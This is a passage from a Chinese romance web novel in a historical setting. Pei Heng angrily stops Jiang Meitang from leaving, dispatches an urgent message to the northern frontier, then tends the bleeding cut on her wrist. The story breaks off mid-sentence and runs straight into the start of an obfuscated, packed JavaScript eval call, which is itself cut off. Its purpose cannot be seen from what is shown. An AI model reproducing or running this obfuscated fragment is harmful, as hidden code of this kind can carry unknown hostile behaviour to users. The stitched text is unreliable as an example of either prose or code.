烛火“噼啪”爆了一声。
如今消息递到,多待一刻都是煎熬,她一言不发,转身便要推门。
“你踏出这扇门试试。”
裴蘅的声音比刚才沉了数倍,带着压抑的怒火,可媚堂脚却没停下,手已经触到了门栓。
下一刻,一股大力自身后揽来,狠狠将她往回拽。
“砰”的一声,她撞进他怀里。
肩背抵着他坚硬的胸膛,能清晰感受到胸腔里翻涌的怒意,还有掌心传来的灼热温度。
裴蘅俯身,气息滚烫又冰冷,声音里带着失控的疯劲:“你就这么不想见我?姜媚堂!”
裴蘅简直就是个疯子!
媚堂气得挣扎起来,眼泪控制不住就砸了下来。
泪水顺着裴蘅的手腕,一点点渗进他的掌心,也像一盆冷水,瞬间浇熄了裴蘅心底所腾起的怒火。
他侧身为她挡在身前,扬声朝门外喊:“汪信!”
汪信立刻推门而入,躬身立在一旁,不敢抬头。
“拿着字条,八百里加急送去北疆,务必赶在粮车到达前送到。”
“是!”
汪信拿起案角的字条,躬身退了出去,关门时特意放轻了脚步,不敢打扰屋内气氛。
媚堂依旧别着脸,不肯看他,倔得一声不吭。
可那泪却不值钱地往下掉,一滴接着一滴,砸在他的手背上,也砸在他紧绷的心口间。
“自己受伤了,不知道吗?”
腕间不知何时被木刺划破,渗出血丝,语气里的强势倏然散了。
他忽然觉得自己太过了。
是啊,太过了。
从媚堂一进门,就看到了她手腕上还在滴血的伤口。
明明心疼得不行,却偏要装出冷硬强势的模样,用掌控的姿态拦着她不让走。知道她潜入侍郎府九死一生,却还是忍不住置气,用狠话刺她。
他托起媚堂的手,翻开掌心,将药粉抖落在伤口上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[functio